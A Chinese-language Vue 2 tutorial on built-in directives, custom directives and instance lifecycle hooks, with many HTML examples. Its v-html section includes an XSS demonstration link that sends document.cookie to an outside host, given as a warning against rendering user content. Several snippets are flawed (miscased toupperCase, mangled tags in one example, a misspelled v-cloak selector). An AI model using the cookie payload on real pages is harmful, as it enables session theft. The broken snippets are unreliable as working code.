1. 常用内置指令
01.总览
我们学过的指令:
v-bind : 单向绑定解析表达式, 可简写为 :xxx
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 可简写为@
v-if : 条件渲染(动态控制节点是否存存在)
v-else : 条件渲染(动态控制节点是否存存在)
v-show : 条件渲染 (动态控制节点是否展示)
v-text指令:
1.作用:向其所在的节点中渲染文本内容,放入标签则也会被当成文本解析
2.与插值语法的区别:v-text会替换掉节点中的内容,你原来的内容会被代替,
无法与原来的内容一起出现,{{xx}}则可以。
v-text : 更新元素的 textContentv-html : 更新元素的 innerHTMLv-if : 如果为true, 当前标签才会输出到页面v-else : 如果为false, 当前标签才会输出到页面v-show : 通过控制display样式来控制显示/隐藏v-for : 遍历数组/对象v-on : 绑定事件监听, 一般简写为@v-bind : 强制绑定解析表达式, 可以省略v-bindv-model : 双向数据绑定
02.v-text
v-text : 更新元素的 textContent
-
作用:向其所在的节点中渲染文本内容。 -
与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。 <!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-text指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<div>你好,{{name}}</div> // 你好,尚硅谷
<div v-text="name">你好,</div> // 尚硅谷
<div v-text="str"></div> // <h3>你好啊</h3>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name: '尚硅谷',
str: '<h3>你好啊!</h3>'
}
})
</script>
</html>
03.v-html
前置知识:cookie:
跨浏览器无法读取cookie
查看cookie key-value的组合
xss:跨站脚本攻击
- 作用:向指定节点中渲染包含html结构的内容。
- 与插值语法的区别:
(1). v-html会替换掉节点中所有的内容,{{xx}}则不会。 (2). v-html可以识别html结构。 - 严重注意:v-html有安全性问题!!!!
(1). 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。 (2). 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-html指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<div>你好,{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name: '尚硅谷',
str: '<h3>你好啊!</h3>',
str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
}
})
</script>
</html>
04.v-once
- v-once所在节点在初次动态渲染后,就视为静态内容了。
- 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-once指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
</html>
05.v-pre
- 跳过其所在节点的编译过程。(vue 不去解析 插值等语法)
- 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
ref : 为某个元素注册一个唯一标识, vue对象通过$refs属性访问这个元素对象
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-pre指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2 v-pre>Vue其实很简单</h2>
<h2 >当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
</html>
06.v-cloak
v-cloak : 使用它防止闪现表达式, 与css配合: [v-cloak] { display: none }
- 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
- 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
实例1
script引入自制的server,作用是5s后script标签加载成功,注意script标签的的引入位置,是先执行html模板,5s后渲染页面{{name}}变为尚硅谷,想让{{name}}在5s内隐藏,不显示在页面中,script标签加载成功后直接出现尚硅谷,用v-cloak。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-cloak指令</title>
<style>
[v-cloak] {
display: none;
}
</style>
</head>
<body>
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>
<script type="text/javascript">
console.log(1)
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name: '尚硅谷'
}
})
</script>
</html>
实例2
[v-clock] {
display: none;
}
<body>
<div id="demo">
<p ref="content">baidu.comp>
<button @click="hint">提示button>
<p v-cloak>{{msg}}p>
div>
<script src="../js/vue.js">script>
<script>
new Vue({
el: "#demo",
data: {
msg: "YK菌"
},
methods: {
hint(){
alert(this.$refs.content.textContent);
}
}
})
script>
body>
2. 自定义指令
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。 需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
01 定义语法
(1) 局部指令
new Vue({
directives:{指令名:配置对象}
})
或
new Vue({
directives{指令名:回调函数}
})
实例
directives : {
'my-directive' : {
bind (el, binding) {
el.innerHTML = binding.value.toupperCase()
}
}
}
(2) 全局指令
Vue.directive(指令名,配置对象)
或
Vue.directive(指令名,回调函数)
实例
Vue.directive('my-directive', function(el, binding){
el.innerHTML = binding.value.toupperCase()
})
02 配置对象中常用的3个回调
- bind:指令与元素成功绑定时调用。
- inserted:指令所在元素被插入页面时调用。
- update:指令所在模板结构被重新解析时调用。
03 备注
- 指令定义时不加v-,但使用时要加v-;
- 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
04 使用指令
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。 需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>自定义指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>{{name}}</h2>
<h2>当前的n值是:<span v-text="n"></span> </h2>
<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
<button @click="n++">点我n+1</button>
<hr />
<input type="text" v-fbind:value="n">
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name: '尚硅谷',
n: 1
},
directives: {
big(element, binding) {
console.log(element, binding)
element.innerText = binding.value * 10
},
fbind: {
bind(element, binding) {
element.value = binding.value
},
inserted(element, binding) {
element.focus()
},
update(element, binding) {
element.value = binding.value
element.focus()
}
}
}
})
</script>
</html>
3. vue对象的生命周期
生命周期:
-
又名:生命周期回调函数、生命周期函数、生命周期钩子。 -
是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。 -
生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。 -
生命周期函数中的this指向是vm 或 组件实例对象(vue内部做了处理)。 -
初始化显示
beforeCreate() created() beforeMount() mounted() -
更新状态
-
销毁 vue 实例: vm.$destory()
beforeDestory() destoryed()
官网生命周期图
4. 详细了解生命周期
01.了解beforeCreated
此时数据检测以及数据代理还未完成。无法访问data和methods方法(数据检测:setter和getter,数据代理:vm上直接访问data中的数据)
created的对象是数据代理和数据监听
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<!-- 引入Vue -->
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.min.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click='add'>点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#root',
data: {
n: 1
},
methods: {
add() {
this.n++
}
},
beforeCreate() {
console.log('beforeCreated');
console.log(this);//关注这一步
debugger;
}
})
</script>
</html>
02.了解created
此时数据检测和数据代理已经完成,可以访问到data和methods方法
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.min.js"></script>
</head>
<body>
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click='add'>点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
n: 1
},
methods: {
add() {
this.n++
}
},
beforeCreate() {
console.log('beforeCreated');
},
created() {
console.log('created');
console.log(this);
debugger;
}
})
</script>
</html>
03.了解beforeMount
注意:此时操作dom,只会生效一瞬间,下一生命周期dom就会被之前渲染的虚拟dom覆盖
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.min.js"></script>
</head>
<body>
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click='add'>点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
n: 1
},
methods: {
add() {
this.n++
}
},
beforeCreate() {
console.log('beforeCreated');
},
created() {
console.log('created');
},
beforeMount() {
console.log('beforeMounted');
console.log(this);
document.querySelector('h2').innerText = '哈哈'
debugger;
},
})
</script>
</html>
04.了解mounted
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.min.js"></script>
</head>
<body>
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click='add'>点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
n: 1
},
methods: {
add() {
this.n++
}
},
beforeCreate() {
console.log('beforeCreated');
},
created() {
console.log('created');
},
beforeMount() {
console.log('beforeMounted');
},
mounted() {
console.log('mounted');
console.log(this);
document.querySelector('h2').innerText = '哈哈'
debugger;
},
})
</script>
</html>
05.补充之前一个生命周期的线
01.无el属性的情况
02.有template模板的情况
06.了解beforeUpdate
此生命周期,页面和数据还未完成同步
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.min.js"></script>
</head>
<body>
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click='add'>点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
n: 1
},
methods: {
add() {
this.n++
}
},
beforeCreate() {
console.log('beforeCreated');
},
created() {
console.log('created');
},
beforeMount() {
console.log('beforeMounted');
},
mounted() {
console.log('mounted');
},
beforeUpdate() {
console.log('beforeCreate');
console.log(this.n);
debugger;
}
})
</script>
</html>
07.了解updated
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.min.js"></script>
</head>
<body>
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click='add'>点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
n: 1
},
methods: {
add() {
this.n++
}
},
beforeCreate() {
console.log('beforeCreated');
},
created() {
console.log('created');
},
beforeMount() {
console.log('beforeMounted');
},
mounted() {
console.log('mounted');
},
beforeUpdate() {
console.log('beforeCreate');
},
updated() {
console.log('updated');
console.log(this.n);
debugger;
}
})
</script>
</html>
08.了解beforeDestroy和destroy
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.14/vue.min.js"></script>
</head>
<body>
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click='add'>点我n+1</button>
<button @click='destroy'>点我销毁</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
n: 1
},
methods: {
add() {
this.n++
},
destroy() {
this.$destroy()
}
},
beforeCreate() {
console.log('beforeCreated');
},
created() {
console.log('created');
},
beforeMount() {
console.log('beforeMounted');
},
mounted() {
console.log('mounted');
},
beforeUpdate() {
console.log('beforeCreate');
},
updated() {
console.log('updated');
},
beforeDestroy() {
console.log('beforeDestroy');
},
destroyed() {
console.log('destroyed');
}
})
</script>
</html>
5.小结生命周期
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2 :style="{opacity:opacity}">欢迎学习Vue</h2>
<button @click="opacity = 1">透明度设置为1</button>
<button @click="stop">点我停止变换</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
opacity: 1
},
methods: {
stop() {
this.$destroy()
}
},
mounted() {
console.log('mounted', this)
this.timer = setInterval(() => {
console.log('setInterval')
this.opacity -= 0.01
if (this.opacity <= 0) this.opacity = 1
}, 16)
},
beforeDestroy() {
console.log('vm即将被销毁')
clearInterval(this.timer)
},
})
</script>
</html>
推荐将清除定时器等操作放在beforeDestroy()周期内执行,保证路由切换等操作也会清除定时器
5. 常用的生命周期方法
mounted() : 发送ajax请求, 启动定时器、绑定自定义事件、订阅消息等异步任务【初始化操作】beforeDestroy() : 做收尾工作, 如: 清除定时器、解绑自定义事件、取消订阅消息等【首尾工作】
6. 关于销毁Vue实例
- 销毁后借助Vue开发者工具看不到任何信息
- 销毁后自定义事件会失效,但原生DOM事件依然有效
- 一般不会在
beforeDestroy 操作数据,因为即使操作数据,也不会再触发更新流程了。
7. 父子组件的生命周期
- 加载渲染过程
父beforeCreate -> 父created -> 父beforeMount -> 子beforeCreate->子created->子beforeMount->子mounted->父mounted
- 更新过程
父beforeUpdate->子beforeUpdate->子updated->父updated
- 销毁过程
父beforeDestroy->子beforeDestroy->子destroyed->父destroyed
- 常见钩子版本
父beforeDestroy->子beforeDestroy->子destroyed->父destroyed
|